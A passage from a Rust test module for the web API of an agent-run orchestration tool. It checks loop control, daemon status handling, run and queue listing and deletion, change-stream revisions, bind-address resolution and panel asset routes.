5466 "a loop that has stopped is not still stopping: {view}"
5467 );
5468 assert_eq!(
5469 view["last_error"],
5470 Value::Null,
5471 "a loop that was asked to stop did not fail: {view}"
5472 );
5473
5474 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
5477 assert_eq!(twice.status, 200, "{}", twice.body);
5478 }
5479
5480 #[tokio::test]
5481 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
5482 let f = Fixture::start().await;
5483 write_daemon(f.home.path(), Timestamp::now());
5486
5487 let view = f.get("/api/loop").await.json();
5488 assert_eq!(view["running"], false, "not in this process: {view}");
5489 assert_eq!(view["owned"], false, "and not this process's to control");
5490 assert_eq!(
5491 view["daemon"]["running"], true,
5492 "but a loop is alive somewhere, which is what the UI must say"
5493 );
5494 assert_eq!(view["daemon"]["pid"], 4242);
5495
5496 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
5497 let res = f.post("/api/loop", Some(body)).await;
5498 assert_eq!(
5499 res.status, 409,
5500 "neither button may pretend to work on someone else's loop: {}",
5501 res.body
5502 );
5503 assert!(
5504 res.json()["error"]
5505 .as_str()
5506 .is_some_and(|e| e.contains("4242")),
5507 "the refusal has to name the process the operator must go to: {}",
5508 res.body
5509 );
5510 }
5511 assert_eq!(
5512 f.get("/api/loop").await.json()["running"],
5513 false,
5514 "and the refusal started nothing"
5515 );
5516 }
5517
5518 #[tokio::test]
5519 async fn a_stale_status_file_is_not_a_foreign_owner() {
5520 let f = Fixture::start().await;
5521 write_daemon(
5522 f.home.path(),
5523 Timestamp::now() - jiff::SignedDuration::from_secs(60),
5524 );
5525
5526 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
5527 assert_eq!(
5528 res.status, 200,
5529 "a daemon killed a minute ago must not lock the loop out of its \
5530 own home for good: {}",
5531 res.body
5532 );
5533 assert_eq!(res.json()["running"], true);
5534
5535 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
5536 }
5537
5538 #[tokio::test]
5539 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
5540 let f = Fixture::start().await;
5541 let before = f.get("/api/health").await.json()["loop_rev"]
5542 .as_u64()
5543 .expect("a loop revision");
5544
5545 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
5546
5547 let after = f.get("/api/health").await.json()["loop_rev"]
5548 .as_u64()
5549 .expect("a loop revision");
5550 assert!(
5551 after > before,
5552 "the loop is in-process state, so this counter is the only thing \
5553 that tells a second device the first one started it: {before} -> \
5554 {after}"
5555 );
5556
5557 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
5558 }
5559
5560 #[tokio::test]
5561 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
5562 let f = Fixture::with_loop(launch_broken).await;
5563
5564 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
5565 assert_eq!(
5566 res.status, 200,
5567 "starting it is not the failure: {}",
5568 res.body
5569 );
5570
5571 let view = settled(&f, |v| v["last_error"].is_string()).await;
5572 assert_eq!(
5573 view["running"], false,
5574 "a loop that died must not read as running, or the operator has \
5575 nothing to press: {view}"
5576 );
5577 assert_eq!(view["owned"], false);
5578 assert!(
5579 view["last_error"]
5580 .as_str()
5581 .is_some_and(|e| e.contains("read-only file system")),
5582 "the phone is where a loop that died at 3am is visible: {view}"
5583 );
5584
5585 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
5588 assert_eq!(again.status, 200, "{}", again.body);
5589 assert_eq!(
5590 again.json()["last_error"],
5591 Value::Null,
5592 "a fresh start does not keep showing why the last one died"
5593 );
5594 }
5595
5596 #[tokio::test]
5608 async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
5609 let home = TempDir::new().expect("temp home");
5610 let runs = home.path().join("runs");
5611 std::fs::create_dir_all(&runs).expect("runs dir");
5612 let ui = Ui::new(
5613 Queue::at(home.path().join("queue")),
5614 Questions::at(home.path().join("questions")),
5615 Talks::at(home.path().join("talks")),
5616 runs,
5617 home.path().to_path_buf(),
5618 PathBuf::from("/repo/magi"),
5619 )
5620 .with_worktrees_root(home.path().join("wt"))
5621 .with_launch(launch_knocking_on_the_way_out);
5622 let looping = ui.looping();
5623 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
5624 .await
5625 .expect("bind loopback");
5626 let addr = listener.local_addr().expect("local addr");
5627 *PARK_KNOCK.lock().expect("park knock") = Some(addr);
5628 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
5629
5630 let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
5631 assert_eq!(started.status, 200, "the loop starts: {}", started.body);
5632
5633 let bound = std::sync::Mutex::new(None);
5636 hand_over(home.path(), &looping, served, || {
5637 let attempt = std::net::TcpListener::bind(addr).map_err(|e| e.to_string());
5638 *bound.lock().expect("bound") = Some(attempt);
5639 Ok(())
5640 })
5641 .await
5642 .expect("hand over");
5643
5644 assert_eq!(
5645 *PARK_HEARD.lock().expect("park heard"),
5646 Some(200),
5647 "the deck must answer while the loop is parking"
5648 );
5649 let attempt = bound
5650 .lock()
5651 .expect("bound")
5652 .take()
5653 .expect("the successor was started");
5654 assert!(
5655 attempt.is_ok(),
5656 "and the address must be free by the time it is: {attempt:?}"
5657 );
5658 }
5659
5660 #[tokio::test]
5661 async fn a_newer_daemon_status_file_still_renders() {
5662 let f = Fixture::start().await;
5663 std::fs::write(
5666 f.home.path().join("daemon.json"),
5667 serde_json::json!({
5668 "schema": 2,
5669 "updated_at": Timestamp::now().to_string(),
5670 "idle": true,
5671 "surprise": { "nested": [1, 2, 3] },
5672 })
5673 .to_string(),
5674 )
5675 .expect("write daemon.json");
5676
5677 let health = f.get("/api/health").await;
5678
5679 assert_eq!(health.status, 200);
5680 assert_eq!(health.json()["daemon"]["running"], true);
5681 }
5682
5683 #[tokio::test]
5684 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
5685 let f = Fixture::start().await;
5686 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
5687 let broken = f.runs().join("20260902-140502-bad");
5688 std::fs::create_dir_all(&broken).expect("run dir");
5689 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
5690
5691 let list = f.get("/api/runs").await;
5692 let detail = f.get("/api/runs/20260902-140502-bad").await;
5693
5694 assert_eq!(list.status, 200);
5695 let listed = list.json();
5696 let ids: Vec<&str> = listed
5697 .as_array()
5698 .expect("an array")
5699 .iter()
5700 .map(|r| r["id"].as_str().expect("an id"))
5701 .collect();
5702 assert_eq!(
5703 ids,
5704 vec!["20260902-140501-good"],
5705 "one unreadable run must not cost the operator the whole history"
5706 );
5707 assert_eq!(detail.status, 500);
5708 assert!(
5709 detail.json()["error"]
5710 .as_str()
5711 .is_some_and(|e| e.contains("run.json")),
5712 "the failure names the file to look at: {}",
5713 detail.body
5714 );
5715 let health = f.get("/api/health").await;
5719 assert_eq!(health.json()["runs_unreadable"], 1);
5720 }
5721
5722 #[tokio::test]
5723 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
5724 let f = Fixture::start().await;
5725 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
5726
5727 let summary = f.get("/api/runs").await.json();
5728 let row = &summary[0];
5729 assert_eq!(row["short"], "a1b2");
5730 assert_eq!(row["status"], "ready");
5731 assert_eq!(row["done"], true);
5732 assert_eq!(row["title"], "Add a web UI");
5733 assert_eq!(row["repo_name"], "magi");
5734 assert_eq!(row["judges"], 3);
5735 assert_eq!(row["winner"], Value::Null);
5736 assert_eq!(row["reviews"], 0);
5737
5738 let detail = f.get("/api/runs/a1b2").await;
5741 assert_eq!(detail.status, 200);
5742 assert_eq!(detail.json()["base_branch"], "main");
5743 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
5744 }
5745
5746 #[tokio::test]
5751 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
5752 let f = Fixture::start().await;
5753 let id = "20260902-140502-bbbb";
5757 let mut state = RunState::new(
5758 PathBuf::from("/repo/magi"),
5759 "main".to_owned(),
5760 "0123456789abcdef".to_owned(),
5761 "Add a web UI".to_owned(),
5762 Config::default(),
5763 );
5764 state.id = id.to_owned();
5765 state.status = RunStatus::Judging;
5766 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
5767 let dir = f.runs().join(id);
5768 std::fs::create_dir_all(&dir).expect("run dir");
5769 std::fs::write(
5770 dir.join("run.json"),
5771 serde_json::to_string_pretty(&state).expect("serialize run"),
5772 )
5773 .expect("write run.json");
5774
5775 let cold = f.get(&format!("/api/runs/{id}")).await.json();
5778 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
5779 assert_eq!(cold["live"], false, "{cold}");
5780
5781 write_daemon(f.home.path(), Timestamp::now());
5784 let warm = f.get(&format!("/api/runs/{id}")).await.json();
5785 assert_eq!(warm["live"], true, "{warm}");
5786 }
5787
5788 #[tokio::test]
5789 async fn the_run_list_is_newest_first_and_honours_a_limit() {
5790 let f = Fixture::start().await;
5791 for id in [
5792 "20260902-140501-aaaa",
5793 "20260902-140502-bbbb",
5794 "20260902-140503-cccc",
5795 ] {
5796 write_run(&f.runs(), id, RunStatus::Merged);
5797 }
5798
5799 let all = f.get("/api/runs").await.json();
5800 let capped = f.get("/api/runs?limit=2").await.json();
5801
5802 assert_eq!(all[0]["id"], "20260902-140503-cccc");
5803 assert_eq!(all.as_array().map(Vec::len), Some(3));
5804 assert_eq!(capped.as_array().map(Vec::len), Some(2));
5805 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
5806 }
5807
5808 #[tokio::test]
5809 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
5810 let f = Fixture::start().await;
5811 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
5812
5813 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
5814
5815 assert_eq!(res.status, 200);
5816 assert!(
5817 res.headers
5818 .contains("content-type: text/plain; charset=utf-8"),
5819 "a browser must render it, not download it: {}",
5820 res.headers
5821 );
5822 assert!(
5826 res.body.contains("20260902-140501-a1b2"),
5827 "the report is about the run that was asked for: {}",
5828 res.body
5829 );
5830 }
5831
5832 #[tokio::test]
5833 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
5834 let f = Fixture::start().await;
5835
5836 let html = f.get("/").await;
5837 let css = f.get("/app.css").await;
5838 let js = f.get("/app.js").await;
5839
5840 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
5841 assert!(
5842 html.headers
5843 .contains("content-type: text/html; charset=utf-8")
5844 );
5845 assert!(css.headers.contains("content-type: text/css"));
5846 assert!(js.headers.contains("content-type: text/javascript"));
5847 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
5848 }
5849
5850 #[test]
5851 fn review_rounds_label_a_distinct_verified_head() {
5852 assert!(APP_JS.contains("round.verified_head"));
5853 assert!(APP_JS.contains("verified HEAD"));
5854 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
5855 }
5856
5857 #[tokio::test]
5858 async fn the_change_stream_announces_the_current_revisions_on_connect() {
5859 let f = Fixture::start().await;
5860
5861 let mut socket = tokio::net::TcpStream::connect(f.addr)
5862 .await
5863 .expect("connect");
5864 socket
5865 .write_all(
5866 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
5867 )
5868 .await
5869 .expect("write request");
5870
5871 let mut seen = String::new();
5874 let mut buf = [0u8; 1024];
5875 while !seen.contains("event: change") {
5876 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
5877 .await
5878 .expect("the stream must speak within five seconds")
5879 .expect("read");
5880 assert!(read > 0, "the server closed the change stream: {seen}");
5881 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
5882 }
5883
5884 assert!(
5885 seen.to_lowercase()
5886 .contains("content-type: text/event-stream"),
5887 "the browser only reconnects automatically for a real SSE stream: {seen}"
5888 );
5889 let data = seen
5890 .lines()
5891 .find_map(|l| l.strip_prefix("data:"))
5892 .expect("a data line");
5893 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
5894 assert!(
5895 payload["queue_rev"].is_u64()
5896 && payload["runs_rev"].is_u64()
5897 && payload["questions_rev"].is_u64()
5898 && payload["talks_rev"].is_u64()
5899 && payload["loop_rev"].is_u64(),
5900 "the client needs one revision per store to know what to refetch, \
5901 and `talks_rev` is the only notification a standing talk gets - a \
5902 phone whose radio slept through a turn learns about it here, as \
5903 does one whose operator started the loop from another device: \
5904 {payload}"
5905 );
5906
5907 let health = f.get("/api/health").await.json();
5914 for key in [
5915 "queue_rev",
5916 "runs_rev",
5917 "questions_rev",
5918 "talks_rev",
5919 "loop_rev",
5920 ] {
5921 assert!(
5922 health[key].is_u64(),
5923 "health is the change stream's fallback and is missing `{key}`: {health}"
5924 );
5925 }
5926 }
5927
5928 #[tokio::test]
5929 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
5930 let f = Fixture::start().await;
5931 let before = f.get("/api/health").await.json()["talks_rev"]
5932 .as_u64()
5933 .expect("talks_rev");
5934
5935 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
5936 std::thread::sleep(Duration::from_millis(10));
5937 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
5938 on_disk.turns.push(crate::talk::Turn {
5939 who: crate::talk::Who::Operator,
5940 body: "a new turn".to_owned(),
5941 at: Timestamp::now(),
5942 attachments: Vec::new(),
5943 });
5944 f.talks().put(&mut on_disk).expect("record a turn");
5945
5946 let after = f.get("/api/health").await.json()["talks_rev"]
5947 .as_u64()
5948 .expect("talks_rev");
5949 assert_ne!(
5950 before, after,
5951 "a phone must be able to notice a talk's reply without polling every store"
5952 );
5953 }
5954
5955 #[test]
5956 fn bind_reads_back_from_the_spelling_the_cli_prints() {
5957 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
5961 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
5962 }
5963 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
5964 assert!("everywhere".parse::<Bind>().is_err());
5965 }
5966
5967 #[test]
5968 fn an_explicit_bind_address_is_taken_verbatim() {
5969 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
5970
5971 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
5972
5973 assert_eq!(addr, asked);
5974 assert!(
5975 warning.is_none(),
5976 "an operator who named an address gets no lecture"
5977 );
5978 }
5979
5980 #[test]
5981 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
5982 let (addr, warning) = resolve_bind(&Bind::Auto);
5983
5984 match addr {
5991 IpAddr::V4(ip) if is_tailnet(&ip) => {
5992 assert!(warning.is_none(), "a tailnet address needs no warning");
5993 }
5994 other => {
5995 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
5996 let warning = warning.expect("a fallback has to explain itself");
5997 assert!(
5998 warning.contains("127.0.0.1") && warning.contains("local-only"),
5999 "the warning says what happened and what it costs: {warning}"
6000 );
6001 }
6002 }
6003 }
6004
6005 #[test]
6006 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
6007 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
6011 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
6012 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
6013 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
6014 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
6015 }
6016
6017 #[test]
6018 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
6019 let ids = vec![
6020 "20260902-140501-aaaa".to_owned(),
6021 "20260902-140502-aabb".to_owned(),
6022 ];
6023
6024 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
6025 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
6026 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
6027
6028 assert_eq!(missing.status, StatusCode::NOT_FOUND);
6029 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
6030 assert_eq!(short, "20260902-140502-aabb");
6031 }
6032 #[tokio::test]
6033 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
6034 let fx = Fixture::start().await;
6040 let id = panel(
6041 &fx,
6042 "<img src=\"shot.png\">",
6043 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
6044 );
6045
6046 let doc = fx
6048 .get(&format!("/api/questions/{id}/panel/index.html"))
6049 .await;
6050 assert_eq!(doc.status, 200, "{}", doc.body);
6051 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
6052
6053 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
6054 assert_eq!(sibling.status, 200, "{}", sibling.body);
6055 assert_eq!(sibling.header("content-type"), Some("image/png"));
6056 assert_eq!(
6057 sibling.header("content-security-policy"),
6058 Some(PANEL_CSP),
6059 "the sibling route must carry the same policy as the asset route"
6060 );
6061
6062 assert_eq!(
6065 fx.head(&format!("/api/questions/{id}/panel")).await.status,
6066 200
6067 );
6068 }
6069
6070 #[test]
6071 fn runs_revision_moves_when_deleting_an_older_run() {
6072 let temp = TempDir::new().expect("tempdir");
6073 let runs = temp.path().join("runs");
6074 std::fs::create_dir_all(&runs).expect("create runs dir");
6075
6076 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
6077
6078 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
6079 std::thread::sleep(Duration::from_millis(10));
6080 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
6081
6082 let rev_before = runs_revision(&runs);
6083 assert!(rev_before > 0);
6084
6085 let old_dir = runs.join("20260901-100000-old1");
6086 std::fs::remove_dir_all(&old_dir).expect("remove old run");
6087
6088 let rev_after = runs_revision(&runs);
6089 assert_ne!(
6090 rev_before, rev_after,
6091 "deleting an older run must change the revision so other clients see the deletion"
6092 );
6093 }
6094
6095 fn write_state(runs: &FsPath, state: &RunState) {
6100 let dir = runs.join(&state.id);
6101 std::fs::create_dir_all(&dir).expect("run dir");
6102 std::fs::write(
6103 dir.join("run.json"),
6104 serde_json::to_string_pretty(state).expect("serialize run"),
6105 )
6106 .expect("write run.json");
6107 }
6108
6109 #[test]
6114 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
6115 let temp = TempDir::new().expect("tempdir");
6116 let runs = temp.path().join("runs");
6117 std::fs::create_dir_all(&runs).expect("create runs dir");
6118 let mut state = RunState::new(
6119 PathBuf::from("/repo/magi"),
6120 "main".to_owned(),
6121 "0123456789abcdef".to_owned(),
6122 "task".to_owned(),
6123 Config::default(),
6124 );
6125 state.id = "20260902-100000-c0de".to_owned();
6126 write_state(&runs, &state);
6127
6128 let rev_idle = runs_revision(&runs);
6129 std::thread::sleep(Duration::from_millis(10));
6130 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
6131 write_state(&runs, &state);
6132 let rev_started = runs_revision(&runs);
6133 assert_ne!(
6134 rev_idle, rev_started,
6135 "a seat starting must move the revision"
6136 );
6137
6138 std::thread::sleep(Duration::from_millis(10));
6139 state.seat_finished("judge-1");
6140 write_state(&runs, &state);
6141 let rev_finished = runs_revision(&runs);
6142 assert_ne!(
6143 rev_started, rev_finished,
6144 "and clearing it again must move the revision a second time"
6145 );
6146 }
6147
6148 #[tokio::test]
6149 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
6150 let fx = Fixture::start().await;
6151 let q = fx.queue();
6152
6153 let mut t1 = Task::new(
6155 "Task 1".to_owned(),
6156 "Instruction 1".to_owned(),
6157 PathBuf::from("/repo"),
6158 Source::Human,
6159 );
6160 let run_id = "20260901-000000-r111";
6161 t1.runs.push(run_id.to_owned());
6162 write_run(&fx.runs(), run_id, RunStatus::Merged);
6163 q.put(&mut t1).expect("put t1");
6164
6165 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
6167 assert_eq!(res.status, 204);
6168 assert!(res.body.is_empty(), "204 No Content has no body");
6169 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
6170 assert!(
6171 fx.runs().join(run_id).exists(),
6172 "run directory must not be deleted when its task is deleted"
6173 );
6174
6175 let mut t2 = Task::new(
6177 "Task 2".to_owned(),
6178 "Instruction 2".to_owned(),
6179 PathBuf::from("/repo"),
6180 Source::Human,
6181 );
6182 t2.status = TaskStatus::Running;
6183 q.put(&mut t2).expect("put t2");
6184 let mut beat = crate::daemon::Status::new();
6185 beat.current = vec![crate::daemon::Current {
6186 task: t2.id.clone(),
6187 run: "20260901-000000-r222".to_owned(),
6188 }];
6189 beat.updated_at = jiff::Timestamp::now();
6190 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
6191 .expect("publish a heartbeat");
6192 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
6193 assert_eq!(res.status, 409);
6194 assert!(
6195 res.json()["error"]
6196 .as_str()
6197 .unwrap()
6198 .contains("live daemon")
6199 );
6200 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
6201
6202 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
6208 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
6209 .expect("leave a stale heartbeat");
6210 let mut t3 = Task::new(
6211 "Task 3".to_owned(),
6212 "Instruction 3".to_owned(),
6213 PathBuf::from("/repo"),
6214 Source::Human,
6215 );
6216 t3.status = TaskStatus::Running;
6217 q.put(&mut t3).expect("put t3");
6218 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
6219 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
6220 assert_eq!(res.status, 204);
6221 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
6222 assert!(
6223 q.claim(&t3.id).is_ok(),
6224 "the stale lock went with it, so the id is claimable again"
6225 );
6226
6227 let res = fx.delete("/api/queue/nonexistent").await;
6229 assert_eq!(res.status, 404);
6230 }
6231
6232 #[tokio::test]
6233 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
6234 let fx = Fixture::start().await;
6235 let runs = fx.runs();
6236
6237 let run_id = "20260901-000000-fold";
6239 let mut state = RunState::new(
6240 PathBuf::from("/repo"),
6241 "main".to_owned(),
6242 "abc".to_owned(),
6243 "instruction".to_owned(),
6244 Config::default(),
6245 );
6246 state.id = run_id.to_owned();
6247 state.status = RunStatus::Merged;
6248 state.candidates.push(crate::run::Candidate {
6249 index: 0,
6250 label: 'A',
6251 agent: "a".to_owned(),
6252 branch: "b".to_owned(),
6253 worktree: PathBuf::from("/w"),
6254 summary: String::new(),
6255 stat: String::new(),
6256 files: 1,
6257 commits: 1,
6258 empty: false,
6259 failed: None,
6260 duration_ms: 0,
6261 folded: true,
6262 });
6263 let dir = runs.join(run_id);
6264 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
6265 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
6266 .expect("write artifact");
6267 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
6268 .expect("write run.json");
6269
6270 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
6272 assert_eq!(res.status, 204);
6273 assert!(res.body.is_empty(), "204 has no body");
6274 assert!(!dir.exists(), "run directory and artifacts must be deleted");
6275
6276 let run_running = "20260901-000000-rung";
6281 write_run(&runs, run_running, RunStatus::Prep);
6282 let mut beat = crate::daemon::Status::new();
6283 beat.current = vec![crate::daemon::Current {
6284 task: "20260901-000000-task".to_owned(),
6285 run: run_running.to_owned(),
6286 }];
6287 beat.updated_at = jiff::Timestamp::now();
6288 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
6289 .expect("publish a heartbeat");
6290 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
6291 assert_eq!(res.status, 409);
6292 assert!(
6293 res.json()["error"]
6294 .as_str()
6295 .unwrap()
6296 .contains("live daemon"),
6297 "the refusal must say who is holding it"
6298 );
6299 assert!(
6300 runs.join(run_running).exists(),
6301 "a run in flight keeps its directory"
6302 );
6303
6304 let run_unfolded = "20260901-000000-unfd";
6306 let mut state2 = RunState::new(
6307 PathBuf::from("/repo"),
6308 "main".to_owned(),
6309 "abc".to_owned(),
6310 "instruction".to_owned(),
6311 Config::default(),
6312 );
6313 state2.id = run_unfolded.to_owned();
6314 state2.status = RunStatus::Ready;
6315 state2.candidates.push(crate::run::Candidate {
6316 index: 0,
6317 label: 'A',
6318 agent: "a".to_owned(),
6319 branch: "b".to_owned(),
6320 worktree: PathBuf::from("/w"),
6321 summary: String::new(),
6322 stat: String::new(),
6323 files: 1,
6324 commits: 1,
6325 empty: false,
6326 failed: None,
6327 duration_ms: 0,
6328 folded: false,
6329 });
6330 let dir2 = runs.join(run_unfolded);
6331 std::fs::create_dir_all(&dir2).expect("create dir2");
6332 std::fs::write(
6333 dir2.join("run.json"),
6334 serde_json::to_string(&state2).unwrap(),
6335 )
6336 .expect("write run.json");
6337
6338 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
6339 assert_eq!(res.status, 409);
6340 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
6341 assert!(dir2.exists(), "unfolded run directory is kept");
6342
6343 let res = fx.delete("/api/runs/nonexistent").await;
6345 assert_eq!(res.status, 404);
6346 }
6347
6348 #[test]
6349 fn web_ui_delete_contract_in_front_end() {
6350 assert!(APP_JS.contains("deleteRun:"));
6352 assert!(APP_JS.contains("deleteTask:"));
6353
6354 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
6356 ..APP_JS.find("function renderRuns").unwrap()];
6357 assert!(!run_cards_slice.to_lowercase().contains("delete"));
6358
6359 assert!(APP_JS.contains("renderRunDelete"));
6361 assert!(APP_JS.contains("runDeleteReason"));
6362 assert!(APP_JS.contains("magi fold"));
6363 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
6364
6365 assert!(APP_JS.contains("cancel.focus"));
6367 assert!(APP_JS.contains("armedRunDelete"));
6368 assert!(APP_JS.contains("armedDelete"));
6369
6370 assert!(APP_JS.contains("disabled: status === \"running\""));
6372 }
6373
6374 #[test]
6394 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
6395 let build = APP_JS
6396 .find("function createRunCard")
6397 .expect("createRunCard exists");
6398 let update = APP_JS
6399 .find("function updateRunCard")
6400 .expect("updateRunCard exists");
6401 let end = APP_JS
6402 .find("function renderRuns")
6403 .expect("renderRuns exists");
6404
6405 let builder = &APP_JS[build..update];
6407 let open = builder.find("refs = {").expect("createRunCard sets refs");
6408 let literal = &builder[open + "refs = {".len()..];
6409 let close = literal.find('}').expect("the refs literal is closed");
6410 let published: HashSet<&str> = literal[..close]
6411 .split(',')
6412 .filter_map(|entry| entry.split(':').next())
6414 .map(str::trim)
6415 .filter(|name| !name.is_empty())
6416 .collect();
6417 assert!(
6418 published.len() > 5,
6419 "the refs literal did not parse into names: {published:?}"
6420 );
6421
6422 let mut used: Vec<&str> = Vec::new();
6425 let updaters = &APP_JS[update..end];
6426 for (at, _) in updaters.match_indices("r.") {
6427 let before = updaters[..at].chars().next_back();
6430 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
6431 continue;
6432 }
6433 let rest = &updaters[at + 2..];
6434 let len = rest
6435 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
6436 .unwrap_or(rest.len());
6437 if len > 0 {
6438 used.push(&rest[..len]);
6439 }
6440 }
6441 assert!(
6442 used.len() > 5,
6443 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
6444 );
6445
6446 let missing: Vec<&str> = used
6447 .iter()
6448 .copied()
6449 .filter(|name| !published.contains(name))
6450 .collect();
6451 assert!(
6452 missing.is_empty(),
6453 "a run card's updater reaches for {missing:?}, which `createRunCard` \
6454 never put in `refs` - every card will throw and the list will \
6455 render empty under a count line that says otherwise. Published: \
6456 {published:?}"
6457 );
6458 }
6459
6460 #[tokio::test]
6461 async fn folding_from_the_phone_reports_what_it_removed() {
6462 let fx = Fixture::start().await;
6463 let runs = fx.runs();
6464
6465 let id = "20260901-000000-fold";
6469 write_run(&runs, id, RunStatus::Stalled);
6470 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
6471 assert_eq!(res.status, 200);
6472 assert_eq!(res.json()["removed_count"], 0);
6473 assert_eq!(res.json()["run"], id);
6474 assert!(
6475 runs.join(id).exists(),
6476 "a fold keeps the run's record; only the worktrees go"
6477 );
6478 }
6479
6480 #[tokio::test]
6481 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
6482 let fx = Fixture::start().await;
6483 let runs = fx.runs();
6484 let wt = fx.home.path().join("wt").join("magi").join("dead");
6485 let id = "20260901-000000-dead";
6486 std::fs::create_dir_all(runs.join(id)).expect("run dir");
6487 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
6488 std::fs::create_dir_all(&wt).expect("worktree dir");
6489
6490 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
6491 assert_eq!(res.status, 200, "{}", res.body);
6492 assert!(
6493 res.json()["removed_count"].as_u64().unwrap() > 0,
6494 "the worktree this build could not read a state for still went"
6495 );
6496 assert!(
6497 !runs.join(id).exists(),
6498 "an unreadable run has no candidate list to fold selectively, so \
6499 the whole record goes - same as `magi fold` on the CLI"
6500 );
6501 }
6502
6503 #[tokio::test]
6504 async fn deleting_an_unreadable_run_removes_it_wholesale() {
6505 let fx = Fixture::start().await;
6506 let runs = fx.runs();
